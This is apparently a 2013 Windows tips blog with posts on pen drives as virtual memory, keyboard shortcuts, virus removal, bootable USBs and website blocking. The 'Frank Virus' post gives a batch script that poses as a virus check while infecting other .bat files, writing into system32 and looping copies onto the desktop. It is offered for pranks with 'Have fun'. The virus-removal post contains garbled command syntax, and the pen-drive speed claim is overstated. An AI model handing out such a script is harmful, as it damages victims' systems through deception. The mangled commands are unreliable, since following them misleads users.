Monday, 30 September 2013

Use Pen Drive As RAM

  1. Insert your pen-drive. Let your PC read it.(Minimum 2 GB)

  2. Right click on My Computer.
  3. Click on Advanced tab.

  4. Click on Settings under Performance.

  5. Click on Advanced tab.

  6. Click on Change button under Virtual memory.

  7. Select your USB drive.

  8. Click on custom size radio button and give the values as follows;

    • Initial Size:1020
    • Maximum size:1020
    • The size depends upon your free memory capacity of your pen drive. So you can change this limit according to your pen drive size.
  9. Click on Set button, then click on OK.

  10. Now you have to restart the computer with pen-drive inserted. The speed of your computer will be increased.
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Frank Virus

  1. Open notepad

  2. Type the following code in:

@echo off
echo checking system:
echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT
echo VIRUS DETECTED
Pause
echo DELETING VIRUS
pause
:1
dir /s
copy c:\tmp.bat
c:\docum~1\%username%\desktop\greatgame_%random%.bat

goto 1

  1. This will create a never ending stream of mindless code. This cannot be stopped easily.

  2. Save the file as "virus.bat"

  3. Have fun

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Shortcut keys


Keyboard Shorcuts (Microsoft Windows)
1. CTRL+C (Copy)
2. CTRL+X (Cut)
… 3. CTRL+V (Paste)
4. CTRL+Z (Undo)
5. DELETE (Delete)
6. SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
7. CTRL while dragging an item (Copy the selected item)
8. CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
9. F2 key (Rename the selected item)
10. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
11. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
12. CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
13. CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
14. CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
15. CTRL+A (Select all)
16. F3 key (Search for a file or a folder)
17. ALT+ENTER (View the properties for the selected item)
18. ALT+F4 (Close the active item, or quit the active program)
19. ALT+ENTER (Display the properties of the selected object)
20. ALT+SPACEBAR (Open the shortcut menu for the active window)
21. CTRL+F4 (Close the active document in programs that enable you to have multiple documents opensimultaneously)
22. ALT+TAB (Switch between the open items)
23. ALT+ESC (Cycle through items in the order that they had been opened)
24. F6 key (Cycle through the screen elements in a window or on the desktop)
25. F4 key (Display the Address bar list in My Computer or Windows Explorer)
26. SHIFT+F10 (Display the shortcut menu for the selected item)
27. ALT+SPACEBAR (Display the System menu for the active window)
28. CTRL+ESC (Display the Start menu)
29. ALT+Underlined letter in a menu name (Display the corresponding menu) Underlined letter in a command name on an open menu (Perform the corresponding command)
30. F10 key (Activate the menu bar in the active program)
31. RIGHT ARROW (Open the next menu to the right, or open a submenu)
32. LEFT ARROW (Open the next menu to the left, or close a submenu)
33. F5 key (Update the active window)
34. BACKSPACE (View the folder onelevel up in My Computer or Windows Explorer)
35. ESC (Cancel the current task)
36. SHIFT when you insert a CD-ROMinto the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box – Keyboard Shortcuts
1. CTRL+TAB (Move forward through the tabs)
2. CTRL+SHIFT+TAB (Move backward through the tabs)
3. TAB (Move forward through the options)
4. SHIFT+TAB (Move backward through the options)
5. ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
6. ENTER (Perform the command for the active option or button)
7. SPACEBAR (Select or clear the check box if the active option is a check box)
8. Arrow keys (Select a button if the active option is a group of option buttons)
9. F1 key (Display Help)
10. F4 key (Display the items in the active list)
11. BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)

Microsoft Natural Keyboard Shortcuts
1. Windows Logo (Display or hide the Start menu)
2. Windows Logo+BREAK (Display the System Properties dialog box)
3. Windows Logo+D (Display the desktop)
4. Windows Logo+M (Minimize all of the windows)
5. Windows Logo+SHIFT+M (Restorethe minimized windows)
6. Windows Logo+E (Open My Computer)
7. Windows Logo+F (Search for a file or a folder)
8. CTRL+Windows Logo+F (Search for computers)
9. Windows Logo+F1 (Display Windows Help)
10. Windows Logo+ L (Lock the keyboard)
11. Windows Logo+R (Open the Run dialog box)
12. Windows Logo+U (Open Utility Manager)
13. Accessibility Keyboard Shortcuts
14. Right SHIFT for eight seconds (Switch FilterKeys either on or off)
15. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
16. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
17. SHIFT five times (Switch the StickyKeys either on or off)
18. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
19. Windows Logo +U (Open Utility Manager)
20. Windows Explorer Keyboard Shortcuts
21. END (Display the bottom of the active window)
22. HOME (Display the top of the active window)
23. NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
24. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
25. NUM LOCK+Minus sign (-) (Collapse the selected folder)
26. LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
27. RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
1. RIGHT ARROW (Move to the rightor to the beginning of the next line)
2. LEFT ARROW (Move to the left orto the end of the previous line)
3. UP ARROW (Move up one row)
4. DOWN ARROW (Move down one row)
5. PAGE UP (Move up one screen at a time)
6. PAGE DOWN (Move down one screen at a time)
7. HOME (Move to the beginning of the line)
8. END (Move to the end of the line)
9. CTRL+HOME (Move to the first character)
10. CTRL+END (Move to the last character)
11. SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC)

Main Window Keyboard Shortcuts
1. CTRL+O (Open a saved console)
2. CTRL+N (Open a new console)
3. CTRL+S (Save the open console)
4. CTRL+M (Add or remove a console item)
5. CTRL+W (Open a new window)
6. F5 key (Update the content of all console windows)
7. ALT+SPACEBAR (Display the MMC window menu)
8. ALT+F4 (Close the console)
9. ALT+A (Display the Action menu)
10. ALT+V (Display the View menu)
11. ALT+F (Display the File menu)
12. ALT+O (Display the Favorites menu)

MMC Console Window Keyboard Shortcuts
1. CTRL+P (Print the current page or active pane)
2. ALT+Minus sign (-) (Display the window menu for the active console window)
3. SHIFT+F10 (Display the Action shortcut menu for the selected item)
4. F1 key (Open the Help topic, if any, for the selected item)
5. F5 key (Update the content of all console windows)
6. CTRL+F10 (Maximize the active console window)
7. CTRL+F5 (Restore the active console window)
8. ALT+ENTER (Display the Properties dialog box, if any, for theselected item)
9. F2 key (Rename the selected item)
10. CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
1. CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
2. ALT+PAGE UP (Switch between programs from left to right)
3. ALT+PAGE DOWN (Switch between programs from right to left)
4. ALT+INSERT (Cycle through the programs in most recently used order)
5. ALT+HOME (Display the Start menu)
6. CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
7. ALT+DELETE (Display the Windows menu)
8. CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
9. CTRL+ALT+Plus sign (+) (Place asnapshot of the entire client window area on the Terminal server clipboardand provide the same functionality aspressing ALT+PRINT SCREEN on a local computer.)

Microsoft Internet Explorer Keyboard Shortcuts
1. CTRL+B (Open the Organize Favorites dialog box)
2. CTRL+E (Open the Search bar)
3. CTRL+F (Start the Find utility)
4. CTRL+H (Open the History bar)
5. CTRL+I (Open the Favorites bar)
6. CTRL+L (Open the Open dialog box)
7. CTRL+N (Start another instance of the browser with the same Web address)
8. CTRL+O (Open the Open dialog box,the same as CTRL+L)
9. CTRL+P (Open the Print dialog box)
10. CTRL+R (Update the current Web page)
11. CTRL+W (Close the current window)
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remove virus with cmd

  1. Go hit start

  2. Than click on Run

  3. In the searchbox type in cmd.exe

  4. When you click on OK a windows should come up Simalar to this:

  5. First, type in the Infected Drive such as for example: dir/p C:

  6. DON'T HIT ENTER YET! Type in the end switch such as s - h *. * /s /d and press ENTER

  7. The command prompt will load all the files in your drive. If you see anything suspicous for example: Autorun.inf or a .exe file. These files you need to watch out for.

  8. If you see the .exe and the autorun.inf than you have just found a tainted file.

  9. Write the prgram name and where the program is located.

  10. Rename the Autorun.inf so you can open it without activating the virus. Rename it as a rar. extension.

  11. Go to start, and double click the My computer icon.

  12. Select the tainted drive, that has the infected file. Find the program directory that contains autorun.inf.

  13. Right-click on the file you renamed "virusfile" and choose "Delete."

     
  14. Right-click on the ".exe" file and choose "Delete." You have now removed the virus from your computer's hard drive.
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Sunday, 29 September 2013

Make Pendrive Bootable

Requirements:
At least a 4GB USB flash drive
Windows ISO File
Rufus tool software

Process:
Step1: Downlaod rufus tool software
Step2: Connect your usb pendrive and run rufus.exe.
Step3: Select the following setting in rufus:



  • Device: USB(H:)  (THIS IS THE LOCATION OF YOUR USB DEVICE)
  • Partition scheme and target systen type: GPT Partition Scheme For UEFI Computer
  • File System: Fat32    
  • Cluster size: 4096bytes (Default)     
  • Check on: Quick format, create a bootable disk using, and create extended label and icons file.
  • Click on: Small button near. (create a bootable disk using ISO Image) to browse and select windows 7 or windows 8 ISO Files.
  • Click on start
When Task is completed (it may take some time) you will be able to see done in bottom left of rufus task manager. you are now ready with bootable usb pendrive to install windows7 or windows 8.

 Installing windows 7 or windows 8 with bootable usb pendrive:

Now  go to CMOS options of your motherboard by pressing F2 or Del key depending on your brand and under Boot options, make booting from USB drive (it may show the name of your usb pendrive) as the priority. then press F10 and then yes to save and exit. Your laptop will restart and installing process will begin.
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Saturday, 28 September 2013

Block a Website

There are 3 way to lock a website
  1. Local host
  2. internet explorer
  3. Software(HT Employee Monitor) 

How to block a website using HT Employee Monitor

1. Download and install HT Employee Monitor
2. Click the Block Websites button
3. Click the Add button.
4. In the appeared box, type the website address that you want to block or keyword, for example, youtube.com
5. Click OK
 
HT Employee Monitor is easy to use and effective, allowing you to restrict user activity and internet usage.
What you can do with HT Employee Monitor:
  • Block website in the most popular browsers (Google Chrome, Firefox, Internet Explorer, Opera, etc.)
  • Ban a website by URL
  • Block access to a specific website by keywords
  • Block a website by categories (Porn, Gambling, Drugs, Shopping, Chats, etc.)
  • Disable any application (instant messengers, browsers, programs, and so on)
  • Track and record all your employees' computer activities (launched applications, typed keystrokes, visited web sites, system activity, screenshots and more).

How to block a website using the Hosts file

The location of the hosts file depends on your operation system.
Windows XP, Vista and Windows 7 C:\WINDOWS\system32\drivers\etc\hosts
Windows 2000  C:\WINNT\system32\drivers\etc\hosts
Note! Make a backup of the hosts file and put it somewhere safe, in case you mess up.
1. Open the hosts file using Notepad or other plain text editor.
2. Find the line 127.0.0.1 localhost
3. To block, for example, the website youtube.com, add this text under 127.0.0.1 localhost:
   127.0.0.1 youtube.com
4. Save and close the Hosts file.
5. Reboot your computer to apply the changes.
6. Try to open www.youtube.com into a browser.


How to block a website on Internet Explorer

1. Open Internet Explorer and click on Tools
2. Click Internet Options
3. Click on the Content tab
4. Click the Enable button
5. Click on the Approved Sites tab
6. Type the website address you want to block in the box, for example, www.youtube.com
7. Click Never and then OK
8. In the appeared window type and confirm your new password
9. Click on the General tab and make sure to select Users can see websites that have no ratings
10. Click OK



 
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